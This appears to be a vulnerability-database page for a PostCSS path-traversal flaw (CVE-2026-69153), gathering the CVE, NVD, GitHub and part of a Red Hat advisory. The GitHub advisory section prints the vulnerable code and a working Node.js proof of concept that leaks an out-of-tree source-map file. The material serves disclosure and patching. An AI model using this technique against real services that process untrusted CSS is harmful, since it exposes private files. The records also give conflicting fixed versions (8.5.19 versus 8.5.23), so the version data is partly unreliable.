Action not permitted
Modal body text goes here.
Modal Title
Modal Body
CVE-2026-69153 (GCVE-0-2026-69153)
Vulnerability from cvelistv5 – Published: 2026-08-03 16:56 – Updated: 2026-08-03 18:28
VLAI
EPSS
VEX
Title
PostCSS: incomplete fix of CVE-2026-45623 — attacker-controlled sourceMappingURL reads arbitrary .map files when `from` is unset
Summary
PostCSS takes a CSS file and provides an API to analyze and modify its rules by transforming the rules into an Abstract Syntax Tree. Prior to 8.5.19, if from is unset, an attacker can cause PreviousMap.loadFile() to read an unintended source-map file by supplying an absolute or directory-traversal sourceMappingURL. The resulting map’s sources and sourcesContent may then be exposed to the application. This issue is fixed in version 8.5.19.
Severity
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://github.com/postcss/postcss/security/advis… | x_refsource_CONFIRM |
| https://github.com/postcss/postcss/commit/7beca13… | x_refsource_MISC |
| https://github.com/postcss/postcss/releases/tag/8.5.19 | x_refsource_MISC |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-69153",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-03T18:28:28.771563Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-08-03T18:28:59.737Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/postcss/postcss/security/advisories/GHSA-fxqj-rqcc-2cmp"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "postcss",
"vendor": "postcss",
"versions": [
{
"status": "affected",
"version": "\u003c 8.5.19"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "PostCSS takes a CSS file and provides an API to analyze and modify its rules by transforming the rules into an Abstract Syntax Tree. Prior to 8.5.19, if from is unset, an attacker can cause PreviousMap.loadFile() to read an unintended source-map file by supplying an absolute or directory-traversal sourceMappingURL. The resulting map\u2019s sources and sourcesContent may then be exposed to the application. This issue is fixed in version 8.5.19."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "NETWORK",
"baseScore": 6.3,
"baseSeverity": "MEDIUM",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "LOW",
"vulnIntegrityImpact": "NONE"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-200",
"description": "CWE-200: Exposure of Sensitive Information to an Unauthorized Actor",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-03T16:56:25.733Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/postcss/postcss/security/advisories/GHSA-fxqj-rqcc-2cmp",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/postcss/postcss/security/advisories/GHSA-fxqj-rqcc-2cmp"
},
{
"name": "https://github.com/postcss/postcss/commit/7beca139e70f9075c6b19700fcb00dd8033e5da8",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/postcss/postcss/commit/7beca139e70f9075c6b19700fcb00dd8033e5da8"
},
{
"name": "https://github.com/postcss/postcss/releases/tag/8.5.19",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/postcss/postcss/releases/tag/8.5.19"
}
],
"source": {
"advisory": "GHSA-fxqj-rqcc-2cmp",
"discovery": "UNKNOWN"
},
"title": "PostCSS: incomplete fix of CVE-2026-45623 \u2014 attacker-controlled sourceMappingURL reads arbitrary .map files when `from` is unset"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-69153",
"datePublished": "2026-08-03T16:56:25.733Z",
"dateReserved": "2026-08-03T15:47:09.654Z",
"dateUpdated": "2026-08-03T18:28:59.737Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2",
"vulnerability-lookup:meta": {
"epss": {
"cve": "CVE-2026-69153",
"date": "2026-08-09",
"epss": "0.00313",
"percentile": "0.23671"
},
"redhat_vex": {
"aggregate_severity": "Important",
"current_release_date": "2026-08-07T12:17:09+00:00",
"cve": "CVE-2026-69153",
"id": "CVE-2026-69153",
"initial_release_date": "2026-08-03T16:56:25.733000+00:00",
"product_status:fixed": "12",
"product_status:known_affected": "120",
"product_status:known_not_affected": "27",
"source": "Red Hat CSAF VEX",
"status": "final",
"title": "postcss: PostCSS: Information disclosure via crafted sourceMappingURL",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-69153.json",
"version": "3"
},
"vulnrichment": {
"containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-69153\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-08-03T18:28:28.771563Z\"}}}], \"references\": [{\"url\": \"https://github.com/postcss/postcss/security/advisories/GHSA-fxqj-rqcc-2cmp\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-08-03T18:28:52.676Z\"}}], \"cna\": {\"title\": \"PostCSS: incomplete fix of CVE-2026-45623 \\u2014 attacker-controlled sourceMappingURL reads arbitrary .map files when `from` is unset\", \"source\": {\"advisory\": \"GHSA-fxqj-rqcc-2cmp\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV4_0\": {\"version\": \"4.0\", \"baseScore\": 6.3, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"MEDIUM\", \"vectorString\": \"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"attackRequirements\": \"PRESENT\", \"privilegesRequired\": \"NONE\", \"subIntegrityImpact\": \"NONE\", \"vulnIntegrityImpact\": \"NONE\", \"subAvailabilityImpact\": \"NONE\", \"vulnAvailabilityImpact\": \"NONE\", \"subConfidentialityImpact\": \"NONE\", \"vulnConfidentialityImpact\": \"LOW\"}}], \"affected\": [{\"vendor\": \"postcss\", \"product\": \"postcss\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003c 8.5.19\"}]}], \"references\": [{\"url\": \"https://github.com/postcss/postcss/security/advisories/GHSA-fxqj-rqcc-2cmp\", \"name\": \"https://github.com/postcss/postcss/security/advisories/GHSA-fxqj-rqcc-2cmp\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/postcss/postcss/commit/7beca139e70f9075c6b19700fcb00dd8033e5da8\", \"name\": \"https://github.com/postcss/postcss/commit/7beca139e70f9075c6b19700fcb00dd8033e5da8\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/postcss/postcss/releases/tag/8.5.19\", \"name\": \"https://github.com/postcss/postcss/releases/tag/8.5.19\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"PostCSS takes a CSS file and provides an API to analyze and modify its rules by transforming the rules into an Abstract Syntax Tree. Prior to 8.5.19, if from is unset, an attacker can cause PreviousMap.loadFile() to read an unintended source-map file by supplying an absolute or directory-traversal sourceMappingURL. The resulting map\\u2019s sources and sourcesContent may then be exposed to the application. This issue is fixed in version 8.5.19.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-22\", \"description\": \"CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)\"}]}, {\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-200\", \"description\": \"CWE-200: Exposure of Sensitive Information to an Unauthorized Actor\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-08-03T16:56:25.733Z\"}}}",
"cveMetadata": "{\"cveId\": \"CVE-2026-69153\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-08-03T18:28:59.737Z\", \"dateReserved\": \"2026-08-03T15:47:09.654Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-08-03T16:56:25.733Z\", \"assignerShortName\": \"GitHub_M\"}",
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
}
}
FKIE_CVE-2026-69153
Vulnerability from fkie_nvd - Published: 2026-08-03 17:16 - Updated: 2026-08-05 14:58
Severity
Summary
PostCSS takes a CSS file and provides an API to analyze and modify its rules by transforming the rules into an Abstract Syntax Tree. Prior to 8.5.19, if from is unset, an attacker can cause PreviousMap.loadFile() to read an unintended source-map file by supplying an absolute or directory-traversal sourceMappingURL. The resulting map’s sources and sourcesContent may then be exposed to the application. This issue is fixed in version 8.5.19.
References
| URL | Tags | ||
|---|---|---|---|
| security-advisories@github.com | https://github.com/postcss/postcss/commit/7beca139e70f9075c6b19700fcb00dd8033e5da8 | Patch | |
| security-advisories@github.com | https://github.com/postcss/postcss/releases/tag/8.5.19 | Product, Release Notes | |
| security-advisories@github.com | https://github.com/postcss/postcss/security/advisories/GHSA-fxqj-rqcc-2cmp | Exploit, Mitigation, Vendor Advisory | |
| 134c704f-9b21-4f2e-91b3-4a467353bcc0 | https://github.com/postcss/postcss/security/advisories/GHSA-fxqj-rqcc-2cmp | Exploit, Mitigation, Vendor Advisory |
{
"affected": [
{
"affectedData": [
{
"product": "postcss",
"vendor": "postcss",
"versions": [
{
"status": "affected",
"version": "\u003c 8.5.19"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:postcss:postcss:*:*:*:*:*:node.js:*:*",
"matchCriteriaId": "C90A3297-FCD6-4460-B610-42D9DF242230",
"versionEndExcluding": "8.5.23",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "PostCSS takes a CSS file and provides an API to analyze and modify its rules by transforming the rules into an Abstract Syntax Tree. Prior to 8.5.19, if from is unset, an attacker can cause PreviousMap.loadFile() to read an unintended source-map file by supplying an absolute or directory-traversal sourceMappingURL. The resulting map\u2019s sources and sourcesContent may then be exposed to the application. This issue is fixed in version 8.5.19."
}
],
"id": "CVE-2026-69153",
"lastModified": "2026-08-05T14:58:45.517",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 1.4,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": [
{
"cvssData": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "NETWORK",
"availabilityRequirement": "NOT_DEFINED",
"baseScore": 6.3,
"baseSeverity": "MEDIUM",
"confidentialityRequirement": "NOT_DEFINED",
"exploitMaturity": "NOT_DEFINED",
"integrityRequirement": "NOT_DEFINED",
"modifiedAttackComplexity": "NOT_DEFINED",
"modifiedAttackRequirements": "NOT_DEFINED",
"modifiedAttackVector": "NOT_DEFINED",
"modifiedPrivilegesRequired": "NOT_DEFINED",
"modifiedSubAvailabilityImpact": "NOT_DEFINED",
"modifiedSubConfidentialityImpact": "NOT_DEFINED",
"modifiedSubIntegrityImpact": "NOT_DEFINED",
"modifiedUserInteraction": "NOT_DEFINED",
"modifiedVulnAvailabilityImpact": "NOT_DEFINED",
"modifiedVulnConfidentialityImpact": "NOT_DEFINED",
"modifiedVulnIntegrityImpact": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "LOW",
"vulnIntegrityImpact": "NONE",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"source": "security-advisories@github.com",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-69153",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "no"
},
{
"technicalImpact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-03T18:28:28.771563Z",
"version": "2.0.3"
}
}
]
},
"published": "2026-08-03T17:16:46.127",
"references": [
{
"source": "security-advisories@github.com",
"tags": [
"Patch"
],
"url": "https://github.com/postcss/postcss/commit/7beca139e70f9075c6b19700fcb00dd8033e5da8"
},
{
"source": "security-advisories@github.com",
"tags": [
"Product",
"Release Notes"
],
"url": "https://github.com/postcss/postcss/releases/tag/8.5.19"
},
{
"source": "security-advisories@github.com",
"tags": [
"Exploit",
"Mitigation",
"Vendor Advisory"
],
"url": "https://github.com/postcss/postcss/security/advisories/GHSA-fxqj-rqcc-2cmp"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"tags": [
"Exploit",
"Mitigation",
"Vendor Advisory"
],
"url": "https://github.com/postcss/postcss/security/advisories/GHSA-fxqj-rqcc-2cmp"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Analyzed",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-22"
},
{
"lang": "en",
"value": "CWE-200"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
}
GHSA-FXQJ-RQCC-2CMP
Vulnerability from github – Published: 2026-08-03 17:11 – Updated: 2026-08-03 17:11
VLAI
Summary
PostCSS: incomplete fix of GHSA-6g55-p6wh-862q — attacker-controlled sourceMappingURL reads arbitrary .map files when `from` is unset
Details
Summary
The fix for GHSA-6g55-p6wh-862q added a guard in lib/previous-map.js PreviousMap.loadFile() that restricts an attacker-controlled sourceMappingURL (from a CSS comment) to a .map extension and, for untrusted maps, rejects .. traversal and absolute paths. The traversal/absolute rejection is nested inside if (cssFile) { ... }. When PostCSS is invoked without the from option, cssFile is falsy and that branch is skipped, leaving only the .map extension check.
PreviousMap is constructed by lib/input.js whenever pathAvailable && sourceMapAvailable (under Node with source-map available), independent of opts.from/opts.map (the constructor returns early only for opts.map === false). So postcss([]).process(css) on attacker CSS reaches loadFile with cssFile undefined, and an attacker /*# sourceMappingURL=/abs/path/x.map */ (or ../-traversing path) is read via readFileSync. When the file is valid JSON, its sources (filesystem paths) and sourcesContent (source contents) are disclosed in the generated source map.
Affected code (v8.5.22 — the release carrying the GHSA-6g55 fix)
// lib/previous-map.js
loadFile(path, cssFile, trusted) {
if (!trusted && !this.unsafeMap) {
if (!/\.map$/i.test(path)) {
return undefined
}
if (cssFile) { // guard runs ONLY when `from` is set
let relativePath = relative(dirname(cssFile), path)
if (relativePath === '..' ||
relativePath.startsWith('..' + sep) ||
isAbsolute(relativePath)) {
return undefined
}
}
}
this.root = dirname(path)
if (existsSync(path)) {
this.mapFile = path
return readFileSync(path, 'utf-8').toString().trim() // sink
}
}
// loadMap(): untrusted annotation path, trusted=false; file === opts.from
} else if (this.annotation) {
let map = this.annotation
if (file) map = join(dirname(file), map) // no `from` -> map stays the raw URL
let unknown = this.loadFile(map, file, false) // file undefined -> cssFile falsy
Proof of concept (verified on postcss 8.5.22)
const postcss = require('postcss')
const fs = require('fs')
// a 'secret' sourcemap OUTSIDE any expected tree (stand-in for another project's .map)
const secret = '/tmp/pcpoc/secret_out_of_tree.map'
fs.writeFileSync(secret, JSON.stringify({
version: 3, sources: ['/etc/REAL_PATH_LEAK'], mappings: '', names: [],
sourcesContent: ['TOP_SECRET_abcdef']
}))
const css = 'a{color:red}\n/*# sourceMappingURL=' + secret + ' */'
const leaks = m => m && JSON.stringify(m.toJSON ? m.toJSON() : m).includes('TOP_SECRET_abcdef')
;(async () => {
// A) NO `from` -> guard skipped -> arbitrary absolute .map read + disclosed
const a = await postcss([]).process(css, { map: true })
console.log('no from -> leaked:', !!leaks(a.map)) // true
// B) WITH `from` -> guard active -> blocked
const b = await postcss([]).process(css, { from: '/tmp/pcpoc/in.css', map: true })
console.log('with from -> leaked:', !!leaks(b.map)) // false
})()
Observed output on postcss 8.5.22:
no from -> leaked: true # sourcesContent 'TOP_SECRET_abcdef' AND sources '/etc/REAL_PATH_LEAK' appear in result.map
with from -> leaked: false # guard rejects the absolute path
../ traversal (no from) also succeeds; non-.map targets (.txt, ?x=.map, #.map) are blocked by the .map check. The tested build contains the GHSA-6g55 fix (this.json = JSON.parse(...) in loadMap, consumer() uses this.json || this.text), so this is a residual of that fix.
Impact
Arbitrary .map-file read (absolute path or ../ traversal) and disclosure of the target map's sources (local filesystem paths) and sourcesContent (source) into the generated source map, for any consumer that runs PostCSS on attacker-influenced CSS without a from option and exposes result.map (online CSS playgrounds, minify/lint services, string-input build steps). Bounded to files ending in .map that parse as JSON.
Suggested fix
Apply the traversal/absolute-path rejection to the untrusted map path regardless of whether cssFile is present (resolve against process.cwd() when there is no cssFile, and reject absolute paths and .. escape in all untrusted cases), or refuse to load an untrusted external map when no base file is known.
Severity
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.5.22"
},
"package": {
"ecosystem": "npm",
"name": "postcss"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.5.23"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-69153"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-200"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-03T17:11:39Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nThe fix for GHSA-6g55-p6wh-862q added a guard in `lib/previous-map.js` `PreviousMap.loadFile()` that restricts an attacker-controlled `sourceMappingURL` (from a CSS comment) to a `.map` extension and, for untrusted maps, rejects `..` traversal and absolute paths. The traversal/absolute rejection is nested inside `if (cssFile) { ... }`. When PostCSS is invoked without the `from` option, `cssFile` is falsy and that branch is skipped, leaving only the `.map` extension check.\n\n`PreviousMap` is constructed by `lib/input.js` whenever `pathAvailable \u0026\u0026 sourceMapAvailable` (under Node with source-map available), independent of `opts.from`/`opts.map` (the constructor returns early only for `opts.map === false`). So `postcss([]).process(css)` on attacker CSS reaches `loadFile` with `cssFile` undefined, and an attacker `/*# sourceMappingURL=/abs/path/x.map */` (or `../`-traversing path) is read via `readFileSync`. When the file is valid JSON, its `sources` (filesystem paths) and `sourcesContent` (source contents) are disclosed in the generated source map.\n\n## Affected code (v8.5.22 \u2014 the release carrying the GHSA-6g55 fix)\n\n```js\n// lib/previous-map.js\nloadFile(path, cssFile, trusted) {\n if (!trusted \u0026\u0026 !this.unsafeMap) {\n if (!/\\.map$/i.test(path)) {\n return undefined\n }\n if (cssFile) { // guard runs ONLY when `from` is set\n let relativePath = relative(dirname(cssFile), path)\n if (relativePath === \u0027..\u0027 ||\n relativePath.startsWith(\u0027..\u0027 + sep) ||\n isAbsolute(relativePath)) {\n return undefined\n }\n }\n }\n this.root = dirname(path)\n if (existsSync(path)) {\n this.mapFile = path\n return readFileSync(path, \u0027utf-8\u0027).toString().trim() // sink\n }\n}\n\n// loadMap(): untrusted annotation path, trusted=false; file === opts.from\n} else if (this.annotation) {\n let map = this.annotation\n if (file) map = join(dirname(file), map) // no `from` -\u003e map stays the raw URL\n let unknown = this.loadFile(map, file, false) // file undefined -\u003e cssFile falsy\n```\n\n## Proof of concept (verified on postcss 8.5.22)\n\n```js\nconst postcss = require(\u0027postcss\u0027)\nconst fs = require(\u0027fs\u0027)\n\n// a \u0027secret\u0027 sourcemap OUTSIDE any expected tree (stand-in for another project\u0027s .map)\nconst secret = \u0027/tmp/pcpoc/secret_out_of_tree.map\u0027\nfs.writeFileSync(secret, JSON.stringify({\n version: 3, sources: [\u0027/etc/REAL_PATH_LEAK\u0027], mappings: \u0027\u0027, names: [],\n sourcesContent: [\u0027TOP_SECRET_abcdef\u0027]\n}))\n\nconst css = \u0027a{color:red}\\n/*# sourceMappingURL=\u0027 + secret + \u0027 */\u0027\nconst leaks = m =\u003e m \u0026\u0026 JSON.stringify(m.toJSON ? m.toJSON() : m).includes(\u0027TOP_SECRET_abcdef\u0027)\n\n;(async () =\u003e {\n // A) NO `from` -\u003e guard skipped -\u003e arbitrary absolute .map read + disclosed\n const a = await postcss([]).process(css, { map: true })\n console.log(\u0027no from -\u003e leaked:\u0027, !!leaks(a.map)) // true\n\n // B) WITH `from` -\u003e guard active -\u003e blocked\n const b = await postcss([]).process(css, { from: \u0027/tmp/pcpoc/in.css\u0027, map: true })\n console.log(\u0027with from -\u003e leaked:\u0027, !!leaks(b.map)) // false\n})()\n```\n\nObserved output on postcss 8.5.22:\n\n```\nno from -\u003e leaked: true # sourcesContent \u0027TOP_SECRET_abcdef\u0027 AND sources \u0027/etc/REAL_PATH_LEAK\u0027 appear in result.map\nwith from -\u003e leaked: false # guard rejects the absolute path\n```\n\n`../` traversal (no `from`) also succeeds; non-`.map` targets (`.txt`, `?x=.map`, `#.map`) are blocked by the `.map` check. The tested build contains the GHSA-6g55 fix (`this.json = JSON.parse(...)` in `loadMap`, `consumer()` uses `this.json || this.text`), so this is a residual of that fix.\n\n## Impact\n\nArbitrary `.map`-file read (absolute path or `../` traversal) and disclosure of the target map\u0027s `sources` (local filesystem paths) and `sourcesContent` (source) into the generated source map, for any consumer that runs PostCSS on attacker-influenced CSS without a `from` option and exposes `result.map` (online CSS playgrounds, minify/lint services, string-input build steps). Bounded to files ending in `.map` that parse as JSON.\n\n## Suggested fix\n\nApply the traversal/absolute-path rejection to the untrusted map path regardless of whether `cssFile` is present (resolve against `process.cwd()` when there is no `cssFile`, and reject absolute paths and `..` escape in all untrusted cases), or refuse to load an untrusted external map when no base file is known.",
"id": "GHSA-fxqj-rqcc-2cmp",
"modified": "2026-08-03T17:11:39Z",
"published": "2026-08-03T17:11:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/postcss/postcss/security/advisories/GHSA-fxqj-rqcc-2cmp"
},
{
"type": "WEB",
"url": "https://github.com/postcss/postcss/commit/7beca139e70f9075c6b19700fcb00dd8033e5da8"
},
{
"type": "PACKAGE",
"url": "https://github.com/postcss/postcss"
},
{
"type": "WEB",
"url": "https://github.com/postcss/postcss/releases/tag/8.5.19"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "PostCSS: incomplete fix of GHSA-6g55-p6wh-862q \u2014 attacker-controlled sourceMappingURL reads arbitrary .map files when `from` is unset"
}
RHSA-2026:50070
Vulnerability from csaf_redhat - Published: 2026-08-04 12:45 - Updated: 2026-08-09 07:01Summary
Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update
Severity
Important
Notes
Topic: An update for Red Hat Hardened Images RPMs is now available.
Details: This update includes the following RPMs:
prometheus3.5:
* prometheus3.5-3.5.5-0.7.hum1 (aarch64, x86_64)
* prometheus3.5-3.5.5-0.7.hum1.src (src)
Security Fix(es):
prometheus3.5:
* CVE-2026-69153
Terms of Use: This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.
A flaw was found in PostCSS. A remote attacker can exploit this vulnerability by providing a specially crafted sourceMappingURL when a specific configuration (the 'from' parameter) is not set. This can cause the application to read and expose unintended source-map files, potentially revealing sensitive information about the application's source code.
7.5 (High)
Affected products
Fixed
3 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Hardened Images:prometheus3-5-main@aarch64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Hardened Images:prometheus3-5-main@src | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Hardened Images:prometheus3-5-main@x86_64 | — |
Vendor Fix
fix
Workaround
|
Threats
Impact
Important
References
12 references
{
"document": {
"aggregate_severity": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"text": "Important"
},
"category": "csaf_security_advisory",
"csaf_version": "2.0",
"distribution": {
"text": "Copyright \u00a9 Red Hat, Inc. All rights reserved.",
"tlp": {
"label": "WHITE",
"url": "https://www.first.org/tlp/"
}
},
"lang": "en",
"notes": [
{
"category": "summary",
"text": "An update for Red Hat Hardened Images RPMs is now available.",
"title": "Topic"
},
{
"category": "general",
"text": "This update includes the following RPMs:\n\nprometheus3.5:\n * prometheus3.5-3.5.5-0.7.hum1 (aarch64, x86_64)\n * prometheus3.5-3.5.5-0.7.hum1.src (src)\n\nSecurity Fix(es):\n\nprometheus3.5:\n * CVE-2026-69153",
"title": "Details"
},
{
"category": "legal_disclaimer",
"text": "This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.",
"title": "Terms of Use"
}
],
"publisher": {
"category": "vendor",
"contact_details": "https://access.redhat.com/security/team/contact/",
"issuing_authority": "Red Hat Product Security is responsible for vulnerability handling across all Red Hat products and services.",
"name": "Red Hat Product Security",
"namespace": "https://www.redhat.com"
},
"references": [
{
"category": "self",
"summary": "https://access.redhat.com/errata/RHSA-2026:50070",
"url": "https://access.redhat.com/errata/RHSA-2026:50070"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-69153",
"url": "https://access.redhat.com/security/cve/CVE-2026-69153"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/updates/classification/",
"url": "https://access.redhat.com/security/updates/classification/"
},
{
"category": "external",
"summary": "https://images.redhat.com/",
"url": "https://images.redhat.com/"
},
{
"category": "self",
"summary": "Canonical URL",
"url": "https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_50070.json"
}
],
"title": "Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update",
"tracking": {
"current_release_date": "2026-08-09T07:01:31+00:00",
"generator": {
"date": "2026-08-09T07:01:31+00:00",
"engine": {
"name": "Red Hat SDEngine",
"version": "5.3.12"
}
},
"id": "RHSA-2026:50070",
"initial_release_date": "2026-08-04T12:45:07+00:00",
"revision_history": [
{
"date": "2026-08-04T12:45:07+00:00",
"number": "1",
"summary": "Initial version"
},
{
"date": "2026-08-08T04:36:23+00:00",
"number": "2",
"summary": "Last updated version"
},
{
"date": "2026-08-09T07:01:31+00:00",
"number": "3",
"summary": "Last generated version"
}
],
"status": "final",
"version": "3"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_name",
"name": "Red Hat Hardened Images",
"product": {
"name": "Red Hat Hardened Images",
"product_id": "Red Hat Hardened Images",
"product_identification_helper": {
"cpe": "cpe:/a:redhat:hummingbird:1"
}
}
}
],
"category": "product_family",
"name": "Red Hat Hardened Images"
},
{
"branches": [
{
"category": "product_version",
"name": "prometheus3-5-main@aarch64",
"product": {
"name": "prometheus3-5-main@aarch64",
"product_id": "prometheus3-5-main@aarch64",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/prometheus3.5@3.5.5-0.7.hum1?arch=aarch64\u0026distro=hummingbird-20251124\u0026repository_id=public-hummingbird-aarch64-rpms"
}
}
}
],
"category": "architecture",
"name": "aarch64"
},
{
"branches": [
{
"category": "product_version",
"name": "prometheus3-5-main@src",
"product": {
"name": "prometheus3-5-main@src",
"product_id": "prometheus3-5-main@src",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/prometheus3.5@3.5.5-0.7.hum1?arch=src\u0026distro=hummingbird-20251124\u0026repository_id=public-hummingbird-source-rpms"
}
}
}
],
"category": "architecture",
"name": "src"
},
{
"branches": [
{
